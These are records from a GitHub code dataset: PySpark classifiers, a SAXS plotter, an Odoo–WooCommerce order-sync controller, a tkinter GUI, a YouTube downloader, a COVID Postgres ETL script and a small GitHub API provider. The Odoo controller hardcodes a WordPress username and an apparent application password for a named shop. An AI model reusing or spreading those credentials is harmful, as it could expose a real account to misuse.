#rl2_model1=logistic_Regression(df1,trainingData_1,testData_1,maxIterValue=100,thresholdValue=0.5,familyValue='binomial')\n    #rl3_model1=logistic_Regression(df1,trainingData_1,testData_1,maxIterValue=100,thresholdValue=0.55,familyValue='binomial')\n    #rl4_model1=logistic_Regression(df1,trainingData_1,testData_1,maxIterValue=150,thresholdValue=0.55,familyValue='binomial')\n    #rl5_model1=logistic_Regression(df1,trainingData_1,testData_1,maxIterValue=50,thresholdValue=0.4,familyValue='binomial')\n    #rl6_model1=logistic_Regression(df1,trainingData_1,testData_1,maxIterValue=50,thresholdValue=0.5,familyValue='binomial')\n\n    print(\"\\n\")\n\n    print(\"Sin G1 y G2\")\n    #Random forest dataset1 con mejor desempeño\n    rf1_model1=random_Forest(df1,trainingData_1,testData_1, numTreesValue=10,maxDepthValue=5,featureSubsetStrategyValue='onethird')\n\n    #Otros modelos\n    #rf2_model1=random_Forest(df1,trainingData_1,testData_1, numTreesValue=10,maxDepthValue=5,featureSubsetStrategyValue='sqrt')\n    #rf3_model1=random_Forest(df1,trainingData_1,testData_1, numTreesValue=10,maxDepthValue=5,featureSubsetStrategyValue='log2')\n    #rf4_model1=random_Forest(df1,trainingData_1,testData_1, numTreesValue=10,maxDepthValue=3,featureSubsetStrategyValue='sqrt')\n    #rf5_model1=random_Forest(df1,trainingData_1,testData_1, numTreesValue=10,maxDepthValue=8,featureSubsetStrategyValue='sqrt')\n\n    print(\"Sin G1 y G2\")\n    #Vector de maquinas de soporte con mejor desempeño para dataset1\n    mvs1_model1=svm(df1,trainingData_1,testData_1, maxIterValue =10, thresholdValue=0.5, depth = 2, regParamValue = 0.0)\n\n    #Otros modelos\n    #mvs2_model1=svm(df1,trainingData_1,testData_1,maxIterValue=100,thresholdValue = 0.0, depth = 2, regParamValue=0)\n    #mvs3_model1=svm(df1,trainingData_1,testData_1,maxIterValue=10,thresholdValue = 0.0, depth = 2, regParamValue=0)\n    #mvs4_model1=svm(df1,trainingData_1,testData_1,maxIterValue  = 100, thresholdValue = 0.0, depth = 2, regParamValue=0.1)\n    #mvs5_model1=svm(df1,trainingData_1,testData_1, maxIterValue =10, thresholdValue = 0.0, depth = 2,  regParamValue=0.1)\n    #mvs6_model1=svm(df1,trainingData_1,testData_1, maxIterValue =10, thresholdValue = 0.0, depth = 2, regParamValue = 0.0)\n    #mvs7_model1=svm(df1,trainingData_1,testData_1, maxIterValue =150, thresholdValue = 0.0, depth = 2, regParamValue = 0.0)\n    #mvs8_model1=svm(df1,trainingData_1,testData_1, maxIterValue  = 100, thresholdValue=0.5, depth = 2, regParamValue = 0.0)\n    #mvs9_model1=svm(df1,trainingData_1,testData_1, maxIterValue  = 100, thresholdValue = 0.0, depth=3, regParamValue = 0.0)\n  \n\n    print(\"\\n\")\n\n    print(\"#------------------------------------------------------------------------------------------#\")\n\n    #Crear vectores assembler\n\n    vector2 = VectorAssembler(inputCols=['school','sex','age','address','famsize','Pstatus','Medu','Fedu','Mjob',\n        'Fjob','reason','guardian','traveltime','studytime','failures','schoolsup',\n        'famsup','paid','activities','nursery','higher','internet','romantic',\n        'famrel','freetime','goout','Dalc','Walc','health','absences','G1'], outputCol=\"features\")\n\n    #Adaptar los vectores al conjunto de datos\n\n    df2_temp = vector2.transform(df)\n\n    #df2_temp.show(5)\n    # get dataframe with all necedf2_tempssary data in the appropriate form\n\n    df2 = df2_temp.drop('school','sex','age','address','famsize','Pstatus','Medu','Fedu','Mjob',\n        'Fjob','reason','guardian','traveltime','studytime','failures','schoolsup',\n        'famsup','paid','activities','nursery','higher','internet','romantic',\n        'famrel','freetime','goout','Dalc','Walc','health','absences','G1','G2')\n\n    #Partición de los dataframes\n\n    trainingData_2, testData_2= df2.randomSplit([0.7,0.3],seed=3102020)\n\n    print(\"Sin G2\")\n    #Modelo regresión logistica-dataset1 con el mejor desempeño\n    rl1_model2=logistic_Regression(df2,trainingData_2,testData_2,maxIterValue=100,thresholdValue=0.55,familyValue='binomial') \n\n    #Otros modelos de regresión logística evaluados para el dataset1\n    #rl2_model2=logistic_Regression(df2,trainingData_2,testData_2,maxIterValue=50,thresholdValue=0.55,familyValue='binomial')\n    #rl3_model2=logistic_Regression(df2,trainingData_2,testData_2,maxIterValue=100,thresholdValue=0.5,familyValue='binomial')\n    #rl4_model2=logistic_Regression(df2,trainingData_2,testData_2,maxIterValue=150,thresholdValue=0.55,familyValue='binomial')\n    #rl5_model2=logistic_Regression(df2,trainingData_2,testData_2,maxIterValue=50,thresholdValue=0.4,familyValue='binomial')\n    #rl6_model2=logistic_Regression(df2,trainingData_2,testData_2,maxIterValue=50,thresholdValue=0.5,familyValue='binomial')\n\n    print(\"\\n\")\n\n    print(\"Sin G2\")\n\n    #Mejor modelo de random forest para el dataset 2\n    rf1_model2=random_Forest(df2,trainingData_2,testData_2, numTreesValue=10,maxDepthValue=5,featureSubsetStrategyValue='onethird')\n\n    #Otros modelos\n    #rf2_model2=random_Forest(df2,trainingData_2,testData_2, numTreesValue=10,maxDepthValue=5,featureSubsetStrategyValue='sqrt')\n    #rf3_model2=random_Forest(df2,trainingData_2,testData_2, numTreesValue=10,maxDepthValue=5,featureSubsetStrategyValue='log2')\n    #rf4_model2=random_Forest(df2,trainingData_2,testData_2, numTreesValue=10,maxDepthValue=3,featureSubsetStrategyValue='sqrt')\n    #rf5_model2=random_Forest(df2,trainingData_2,testData_2, numTreesValue=10,maxDepthValue=8,featureSubsetStrategyValue='sqrt')\n\n    print(\"Sin G2\")\n    mvs1_model2=svm(df2,trainingData_2,testData_2,maxIterValue=100,thresholdValue = 0.0, depth = 2, regParamValue=0)\n\n    #mvs2_model2=svm(df2,trainingData_2,testData_2, maxIterValue =10, thresholdValue=0.5, depth = 2, regParamValue = 0.0)\n    #mvs3_model2=svm(df2,trainingData_2,testData_2,maxIterValue=10,thresholdValue = 0.0, depth = 2, regParamValue=0)\n    #mvs4_model2=svm(df2,trainingData_2,testData_2,maxIterValue = 100, thresholdValue = 0.0, depth = 2, regParamValue=0.1)\n    #mvs5_model2=svm(df2,trainingData_2,testData_2, maxIterValue =10, thresholdValue = 0.0, depth = 2,  regParamValue=0.1)\n    #mvs6_model2=svm(df2,trainingData_2,testData_2, maxIterValue =10, thresholdValue = 0.0, depth = 2, regParamValue = 0.0)\n    #mvs7_model2=svm(df2,trainingData_2,testData_2, maxIterValue =150, thresholdValue = 0.0, depth = 2, regParamValue = 0.0)\n    #mvs8_model2=svm(df2,trainingData_2,testData_2, maxIterValue = 100, thresholdValue=0.5, depth = 2, regParamValue = 0.0)\n    #mvs9_model2=svm(df2,trainingData_2,testData_2, maxIterValue = 100, thresholdValue = 0.0, depth=3, regParamValue = 0.0)\n\n    #Finaliza la sesión de spark\n    spark.stop()\n\nmain()\n", "repo_name": "Taniaobando/PYSPARK--data-cleaning-MLlib-", "sub_path": "Proyecto1.py", "file_name": "Proyecto1.py", "file_ext": "py", "file_size_in_byte": 30190, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "findspark.init", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.boxplot", "line_number": 234, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 234, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 235, "usage_type": "name"}, {"api_name": "pyspark.ml.classification.LogisticRegression", "line_number": 323, "usage_type": "call"}, {"api_name": "pyspark.ml.evaluation.MulticlassClassificationEvaluator", "line_number": 336, "usage_type": "call"}, {"api_name": "pyspark.ml.evaluation.BinaryClassificationEvaluator", "line_number": 348, "usage_type": "call"}, {"api_name": "pyspark.ml.classification.RandomForestClassifier", "line_number": 370, "usage_type": "call"}, {"api_name": "pyspark.ml.evaluation.MulticlassClassificationEvaluator", "line_number": 380, "usage_type": "call"}, {"api_name": "pyspark.ml.evaluation.BinaryClassificationEvaluator", "line_number": 391, "usage_type": "call"}, {"api_name": "pyspark.ml.classification.LinearSVC", "line_number": 417, "usage_type": "call"}, {"api_name": "pyspark.ml.evaluation.MulticlassClassificationEvaluator", "line_number": 428, "usage_type": "call"}, {"api_name": "pyspark.ml.evaluation.BinaryClassificationEvaluator", "line_number": 440, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 458, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 458, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 458, "usage_type": "name"}, {"api_name": "pyspark.ml.feature.VectorAssembler", "line_number": 504, "usage_type": "call"}, {"api_name": "pyspark.ml.feature.VectorAssembler", "line_number": 570, "usage_type": "call"}]}
{"seq_id": "12142454768", "text": "import matplotlib.pyplot as plt\nfrom crystal_lattice import *\nfrom matplotlib.figure import Figure\n\ndef saxs_plot(files, strucs, first_peaks, sample_names, log=True, begin=0, end=0, graph=True):\n    f = Figure()\n    a = f.add_subplot(111)\n    files = np.array(files)\n    strucs = np.array(strucs)\n    first_peaks = np.array(first_peaks)\n    if graph==True:\n        for i in range(len(files)):\n            data = np.genfromtxt(files[i], skip_header=begin, skip_footer=end, usecols=(0,1), names=['q','I'])\n            if log==True:\n                a.plot(data['q'], np.log10(data['I'])-i, \"-\", lw=1, label=sample_names[i])\n                a.set_ylabel('log(I) [a.u.]')\n            else:\n                a.plot(data['q'], data['I']-i, \"-\", lw=1,label=sample_names[i])\n                a.set_ylabel('I [a.u.]')\n        for j in range(len(strucs)):\n            print(np.around(2 * np.pi * crystals[strucs[j]][0] / first_peaks[j], decimals=3))\n            if strucs[j] in ratios:\n                for index in ratios[strucs[j]]:\n                    a.axvline(x=first_peaks[j] * index, ls='-.', color=lines[j], lw=0.5)\n                a.legend(strucs[j])\n        a.set_xlabel('q [nm^(-1)]')\n        a.set_yticks([])\n        #plt.show()\n    else:\n        for j in range(len(strucs)):\n            print(np.around(2*np.pi*crystals[strucs[j]][0]/first_peaks[j],decimals=3))\n    return f", "repo_name": "raphaeldc/saxs_ratio_gui", "sub_path": "saxs_ratio_analyser.py", "file_name": "saxs_ratio_analyser.py", "file_ext": "py", "file_size_in_byte": 1373, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.figure.Figure", "line_number": 6, "usage_type": "call"}]}
{"seq_id": "36750816868", "text": "# -*- coding: utf-8 -*-\nimport json\nimport requests\nimport base64\nfrom odoo import http\nfrom odoo import models\nfrom woocommerce import API\nfrom odoo.addons.woocommerce_integration.models.tools import wcapi\n\n\nclass OdooController(http.Controller):\n    @http.route('/odoo_controller/odoo_controller/', auth='public')\n    def index(self, **kw):\n        return '
Hola Mundo
'\n\n\n    @http.route('/odoo_controller/odoo_controller/example_products', auth='public')\n    def example_product(self, **kw):\n        # traer la lista de productos de woocommerce para probar\n        response = wcapi.get('products').json()\n        # quedarse con el último produco\n        last_product = response[0]\n        html_list = '
    \\n'\n        for key, value in last_product.items():\n            html_list += '
  • ' +  str(key) + ': ' + str(value) + '
    • \\n'\n        html_list += '
'\n        return html_list\n    \n\n    @http.route('/odoo_controller/odoo_controller/add_last_order', auth='public')\n    def add_last_order(self, **kw):\n        last_order = wcapi.get('orders').json()[0]\n        # extraer los datos del cliente\n        billing = last_order['billing']\n        partner = {\n            'name': billing['first_name'] + ' ' + billing['last_name'],\n            'phone': billing['phone'],\n            'email': billing['email']\n        }\n        bd_partner = http.request.env['res.partner']\n\n        \n        # revisar si el cliente existe en la base de datos (correo)\n        print('Buscar cliente')\n        current_partner = bd_partner.search([('email', '=', partner['email'])])\n        if not current_partner:\n            print('No encontró al cliente, crear')\n            # no existe el cliente, crear\n            print(bd_partner.create(partner))\n            # buscar el cliente a partir del correo\n            current_partner = bd_partner.search([('email', '=', partner['email'])])\n            print('Cliente creado')\n            \n\n        sku_list = []\n        # extraer datos de productos\n        # construir lista de objetos\n        print('Crear lista de productos')\n        # si da tiempo, verificar que no se cree  otra orden similar\n        for wc_product in last_order['line_items']:\n            order_line = {\n                'product_id': http.request.env['product.template'].search([('default_code', '=', wc_product['sku'])])[0].id,\n                'product_uom_qty': wc_product['quantity']\n            }\n            # agregar una tupla con los datos de la orden_line\n            sku_list.append((0, False, order_line))\n        print('Lista creada')\n        # crear objeto con la orden\n        order_data = {\n            'partner_id': current_partner.id,\n            'order_line': sku_list,\n            'wc_order_id': last_order['id'],\n            'wc_number': last_order['number']\n        }\n\n        print('Crear orden')\n        http.request.env['sale.order'].create(order_data)\n        print('Orden creada')\n        # eliminar orden woomerce\n        \n        return '
Orden creada exitosamente
'\n\n    @http.route('/odoo_controller/odoo_controller/order_created', type='json', auth='my_api_key', methods=['POST'])\n    def order_created(self, **kw):        \n        response = http.request.jsonrequest\n        error = False\n        message = 'OK'\n        # revisar si la orden existe\n        wc_order_id = response['order_id']\n        sale_order = http.request.env['sale.order'].search([('wc_order_id', '=', wc_order_id)])\n        # si no existe, se crea\n        if not sale_order:\n            # extraer id del cliente\n            billing = response['billing']        \n            wc_customer_id = billing['customer_id']\n            # buscar este cliente en la base de datos de odoo\n            current_partner = http.request.env['res.partner'].search([('wc_customer_id', '=', wc_customer_id)])\n            # 3. Evaluar si el cliente ya existe, sino, se crea uno nuevo\n            if not current_partner:\n                # extraer los datos del cliente\n                partner_data = {\n                    'wc_customer_id': int(wc_customer_id),\n                    'name': billing['first_name'] + ' ' + billing['last_name'],\n                    'phone': billing['phone'],\n                    'email': billing['email'],\n                    'street': billing['address_1'],\n                    \"street2\": billing[\"address_2\"],\n                }\n                # crear al cliente y guardar su referencia\n                current_partner = current_partner.create(partner_data)\n            \n            # 4. Crear la lista de productos que se añadirán al diccionario de la orden de venta\n            # 4.1 Extraer los ids de los productos en el modelo product.template en relacion con el sku en Woocommerce (default_code en Odoo)\n            sku_list = []\n            i = 0\n            for wc_product in response['line_items']:\n                # incluir producto si se encuentra en la bd\n                product = http.request.env['product.product'].search([('wc_id', '=', wc_product['product_id'])])\n                if product:\n                    i += 1\n                    order_line = {\n                        'product_id': product.id,\n                        'product_uom_qty': wc_product['quantity']\n                    }                    \n                    # agregar una tupla con los datos de la orden_line\n                    sku_list.append((0, False, order_line))\n\n\n            if sku_list:\n                order_data = {\n                    'name': response['order_key'],\n                    'partner_id': current_partner.id,\n                    'order_line': sku_list,\n                    'wc_order_id': wc_order_id,\n                    'wc_number': response['order_number']\n                }\n                # crear orden\n                http.request.env['sale.order'].create(order_data)\n            else:\n                error = True\n                message = 'No existen los productos'\n        else:\n            error = True\n            message = 'Ya existe orden de venta'\n        \n        if not error:\n            responseDict = {\n                    'success': True,\n                    'status': 'OK',\n                    'code': 200\n                }\n        else:\n            responseDict = {\n                    'success': False,\n                    'error': message\n                }\n        return json.dumps(responseDict)\n\n    @http.route('/odoo_controller/odoo_controller/send_image', auth='public')\n    def send_image(self, **kw):\n        # prueba para enviar una imagen a wordpress\n        product = http.request.env['product.template'].search([('default_code', '=', 'E-COM09')])\n        image = product.image_1920\n        url = 'https://argemtshop.com/wp-json/wp/v2/posts'\n        user = 'argemt08'\n        password = 'JPSs unNz FFRj yghP 9MJc l5PG'\n        credentials = user + ':' + password\n        token = base64.b64encode(credentials.encode())\n        header = {'Authorization': 'Basic ' + token.decode('utf-8')}\n        # response = requests.get(url , headers=header)\n        # print(response)\n        return 'Imagen enviada'\n\n\n        \n\n\n", "repo_name": "angelavts/woocommerce_integration", "sub_path": "woocommerce_integration/controllers/controllers.py", "file_name": "controllers.py", "file_ext": "py", "file_size_in_byte": 7097, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "odoo.http.Controller", "line_number": 11, "usage_type": "attribute"}, {"api_name": "odoo.http", "line_number": 11, "usage_type": "name"}, {"api_name": "odoo.http.route", "line_number": 12, "usage_type": "call"}, {"api_name": "odoo.http", "line_number": 12, "usage_type": "name"}, {"api_name": "odoo.addons.woocommerce_integration.models.tools.wcapi.get", "line_number": 20, "usage_type": "call"}, {"api_name": "odoo.addons.woocommerce_integration.models.tools.wcapi", "line_number": 20, "usage_type": "name"}, {"api_name": "odoo.http.route", "line_number": 17, "usage_type": "call"}, {"api_name": "odoo.http", "line_number": 17, "usage_type": "name"}, {"api_name": "odoo.addons.woocommerce_integration.models.tools.wcapi.get", "line_number": 32, "usage_type": "call"}, {"api_name": "odoo.addons.woocommerce_integration.models.tools.wcapi", "line_number": 32, "usage_type": "name"}, {"api_name": "odoo.http.request", "line_number": 40, "usage_type": "attribute"}, {"api_name": "odoo.http", "line_number": 40, "usage_type": "name"}, {"api_name": "odoo.http.request", "line_number": 62, "usage_type": "attribute"}, {"api_name": "odoo.http", "line_number": 62, "usage_type": "name"}, {"api_name": "odoo.http.request", "line_number": 77, "usage_type": "attribute"}, {"api_name": "odoo.http", "line_number": 77, "usage_type": "name"}, {"api_name": "odoo.http.route", "line_number": 30, "usage_type": "call"}, {"api_name": "odoo.http", "line_number": 30, "usage_type": "name"}, {"api_name": "odoo.http.request", "line_number": 85, "usage_type": "attribute"}, {"api_name": "odoo.http", "line_number": 85, "usage_type": "name"}, {"api_name": "odoo.http.request", "line_number": 90, "usage_type": "attribute"}, {"api_name": "odoo.http", "line_number": 90, "usage_type": "name"}, {"api_name": "odoo.http.request", "line_number": 97, "usage_type": "attribute"}, {"api_name": "odoo.http", "line_number": 97, "usage_type": "name"}, {"api_name": "odoo.http.request", "line_number": 118, "usage_type": "attribute"}, {"api_name": "odoo.http", "line_number": 118, "usage_type": "name"}, {"api_name": "odoo.http.request", "line_number": 138, "usage_type": "attribute"}, {"api_name": "odoo.http", "line_number": 138, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 157, "usage_type": "call"}, {"api_name": "odoo.http.route", "line_number": 83, "usage_type": "call"}, {"api_name": "odoo.http", "line_number": 83, "usage_type": "name"}, {"api_name": "odoo.http.request", "line_number": 162, "usage_type": "attribute"}, {"api_name": "odoo.http", "line_number": 162, "usage_type": "name"}, {"api_name": "base64.b64encode", "line_number": 168, "usage_type": "call"}, {"api_name": "odoo.http.route", "line_number": 159, "usage_type": "call"}, {"api_name": "odoo.http", "line_number": 159, "usage_type": "name"}]}
{"seq_id": "6225108436", "text": "import tkinter as tk\nimport math\nfrom CheatChecks import CheatChecks\nfrom tkinter import Image\nfrom tkinter import filedialog\nfrom tkinter import messagebox\nfrom tkinter.filedialog import askopenfile\nfrom PIL import ImageTk\n\nroot = tk.Tk();\n# root.attributes('-fullscreen', True)\nbackground_image=tk.PhotoImage(\"727.gif\")\n\nclass Application(tk.Frame):\n    def __init__(self, master=None):\n        tk.Frame.__init__(self, master)\n        self.grid()\n        self.createWidgets()\n\n    def createWidgets(self):\n\n        FILENAME = '727.gif'\n        canvas = tk.Canvas(root, width=800, height=600)\n\n        canvas.grid()\n        # canvas.create_text(1145, 50,text = \"OSU UCISD\", fill = \"blue\" , font=\"Times 35  bold\")\n\n        tk_img = ImageTk.PhotoImage(file=FILENAME)\n        title_img = ImageTk.PhotoImage(file=\"title.png\")\n        osu_img = ImageTk.PhotoImage(file = \"title2.png\");\n        border_img = ImageTk.PhotoImage(file = \"border.png\");\n\n        canvas.create_image(300, 340, image=tk_img)\n        canvas.create_image(410, 460, image = border_img)\n        canvas.create_image(400, 100, image = title_img)\n        canvas.create_image(400, 260, image = osu_img)\n\n        fileInputButton = tk.Button(root, text= \"Enter file\", fg = \"black\", background = 'light blue', width = 20, height = 3,\n            command = self.load_file, activebackground=\"#33B5E5\", font=\"Times 10  bold\")\n        fileWindow = canvas.create_window(335, 380, anchor='nw', window=fileInputButton)\n        quit_button = tk.Button(root, text=\"Quit\", fg = \"black\" , command=quit, background = 'light blue',\n                                width=20, height = 3,  activebackground=\"#33B5E5\",font=\"Times 10  bold\")\n        quit_button_window = canvas.create_window(335, 480, anchor='nw', window=quit_button)\n\n        root.mainloop()\n\n\n    def load_file(self):\n        filename = filedialog.askopenfilename(filetypes = ((\"Template files\", \"*.txt\")\n                                                         ,(\"HTML files\", \"*.html;*.htm\")\n                                                         ,(\"All files\", \"*.*\") ))\n        CheatChecks(filename)\n\napp = Application()\napp.master.title('Sample application')\napp.mainloop()\n", "repo_name": "kkc028/osu-ucisd-cheat-analyzer", "sub_path": "GUI.py", "file_name": "GUI.py", "file_ext": "py", "file_size_in_byte": 2193, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tkinter.Tk", "line_number": 10, "usage_type": "call"}, {"api_name": "tkinter.PhotoImage", "line_number": 12, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 14, "usage_type": "attribute"}, {"api_name": "tkinter.Frame.__init__", "line_number": 16, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tkinter.Canvas", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 28, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 29, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 29, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 30, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 30, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 31, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 31, "usage_type": "name"}, {"api_name": "tkinter.Button", "line_number": 38, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 41, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 49, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 49, "usage_type": "name"}, {"api_name": "CheatChecks.CheatChecks", "line_number": 52, "usage_type": "call"}]}
{"seq_id": "15797815162", "text": "from pytube import YouTube\nfrom moviepy.editor import AudioFileClip\nimport pandas as pd\n\n\ndef download(url, fname):\n\n    yt = YouTube(url)\n    #print(yt.streams.filter(only_video=True, subtype='mp4', res='360p').all())\n    print('Downloading: ' + fname, str(yt.streams.filter(only_video=True, subtype='mp4', res='360p').all()[0]))\n    yt.streams.filter(only_video=True, subtype='mp4', res='360p').first().download('data/', fname)\n\ndef main():\n    #urls = [\"https://www.youtube.com/watch?v=OQZSaTNb9AA\", \n    #\"https://www.youtube.com/watch?v=i_h2EUuFWIY\",\n    #\"https://www.youtube.com/watch?v=EokL7E6o1AE\"]\n    urls = [\"https://www.youtube.com/watch?v=2THACbNBsFo\"]\n    #fnames = ['conan', 'seth', 'kutz']\n    fnames = ['bpkid']\n    for i in range(0, 1):\n        download(urls[i], fnames[i])\n\nmain()\n", "repo_name": "kalo37/AMATH482", "sub_path": "hw4/download_yt.py", "file_name": "download_yt.py", "file_ext": "py", "file_size_in_byte": 801, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pytube.YouTube", "line_number": 8, "usage_type": "call"}]}
{"seq_id": "40821341097", "text": "import requests\nimport pandas as pd\nfrom datetime import datetime\nfrom datetime import timedelta\nimport os\n\nfor i in range(-1, 0):\n    ayer = datetime.today() + timedelta(days=i)\n    fecha = str(ayer.day) + '/' + str(ayer.month) + '/' + str(ayer.year) + ' 0:00:00'\n\n\n    resultado = requests.get(\"https://www.datos.gov.co/resource/gt2j-8ykr.json?$limit=100000&$where=(fecha_reporte_web=\"+\"'\"+fecha+\"')\")\n    if len(resultado.json()) == 0:\n        pass\n    else:\n        \n        df = pd.DataFrame.from_records(resultado.json())\n\n\n        columnas = ['ciudad_municipio',\n        'ciudad_municipio_nom',\n        'departamento',\n        'departamento_nom',\n        'edad',\n        'estado',\n        'fecha_de_notificaci_n',\n        'fecha_diagnostico',\n        'fecha_inicio_sintomas',\n        'fecha_muerte',\n        'fecha_recuperado',\n        'fecha_reporte_web',\n        'fuente_tipo_contagio',\n        'id_de_caso',\n        'nom_grupo_',\n        'pais_viajo_1_cod',\n        'pais_viajo_1_nom',\n        'per_etn_',\n        'recuperado',\n        'sexo',\n        'tipo_recuperacion',\n        'ubicacion',\n        'unidad_medida']\n\n\n        for col in columnas:\n            if col == columnas[0]:\n                final = df[[col]]\n            else:\n                try:\n                    final = pd.concat([final, df[[col]]], axis=1)\n                except:\n                    final = pd.concat([final, pd.Series(name=col)], axis=1)\n\n\n\n\n        col_int = ['ciudad_municipio', \n        'departamento',\n        'edad',\n        'id_de_caso',\n        'pais_viajo_1_cod',\n        'per_etn_',\n        'unidad_medida']\n\n        for col in col_int:\n            try:\n                final[col] = final[col].astype(int)\n            except:\n                pass\n\n\n        col_dates = ['fecha_de_notificaci_n',\n        'fecha_diagnostico',\n        'fecha_inicio_sintomas',\n        'fecha_muerte',\n        'fecha_recuperado',\n        'fecha_reporte_web']\n\n        for col in col_dates:\n            final[col] = pd.to_datetime(final[col], dayfirst=True)\n        \n        final.to_csv('cargar.csv', index=False)\n        text_os = \"PGPASSWORD='$PASSWORD' psql -h your_database.XXXXXXXgp3ln.us-east-1.rds.amazonaws.com -U user -d covid_db -c '\\copy covid from '~/Documents/proyecto_covid/cargar.csv' with (format csv, header true);'\" #be careful with the path to file\n        os.system(text_os)", "repo_name": "ceao1/proyecto_covid", "sub_path": "etl_bd.py", "file_name": "etl_bd.py", "file_ext": "py", "file_size_in_byte": 2378, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime.today", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 8, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 8, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 80, "usage_type": "call"}, {"api_name": "os.system", "line_number": 84, "usage_type": "call"}]}
{"seq_id": "21191238081", "text": "from astropy.io import fits\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\n\n# hdulist = fits.open('A1_mosaic.fits')\n# pixelData = hdulist[0].data\n#\n# testData = pixelData[1878:2168, 1598:1961]  # small slice\n# # testData = pixelData[1963:2446, 1591:2244]\n# testData = pixelData[2240:2631, 1574:1790]  # bigger slice\n\nmData = fits.open('masked1.fits')[0].data\norgData = fits.open('A1_mosaic.fits')[0].data\nprint(mData.shape)\nexit()\nnp.save('realmaskedData', mData)\nnp.save('realOrgData', orgData)\n\nfig, ax = plt.subplots()\nplt.imshow(orgData, norm=LogNorm(), origin='lower')\nplt.colorbar()\nplt.show()\n", "repo_name": "stanleyycheung/astronomicalImageProcessing", "sub_path": "makedata.py", "file_name": "makedata.py", "file_ext": "py", "file_size_in_byte": 642, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "astropy.io.fits.open", "line_number": 13, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 13, "usage_type": "name"}, {"api_name": "astropy.io.fits.open", "line_number": 14, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 14, "usage_type": "name"}, {"api_name": "numpy.save", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.colors.LogNorm", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}]}
{"seq_id": "73303389671", "text": "from typing import Optional\n\nimport requests\n\nfrom src.exceptions.provider import ProviderErrorException\nfrom src.schemas.user import UserOutput\nfrom src.providers import IProvider\nfrom src.settings import GITHUB_BASE_URL\n\n\nclass Github(IProvider):\n\n    def get_user(self, username: str) -> Optional[UserOutput]:\n        user = requests.get(f\"{GITHUB_BASE_URL}/users/{username}\")\n        try:\n            user.raise_for_status()\n        except requests.exceptions.HTTPError:\n            raise ProviderErrorException\n\n        user = user.json()\n        return UserOutput(\n            id=user[\"id\"],\n            login=user[\"login\"],\n            twitter_username=user[\"twitter_username\"],\n            email=user[\"email\"],\n        )\n\n    def __str__(self) -> str:\n        return \"Github\"\n", "repo_name": "HectorMenezes/GitCollector", "sub_path": "src/providers/github.py", "file_name": "github.py", "file_ext": "py", "file_size_in_byte": 784, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "src.providers.IProvider", "line_number": 11, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "src.settings.GITHUB_BASE_URL", "line_number": 14, "usage_type": "name"}, {"api_name": "requests.exceptions", "line_number": 17, 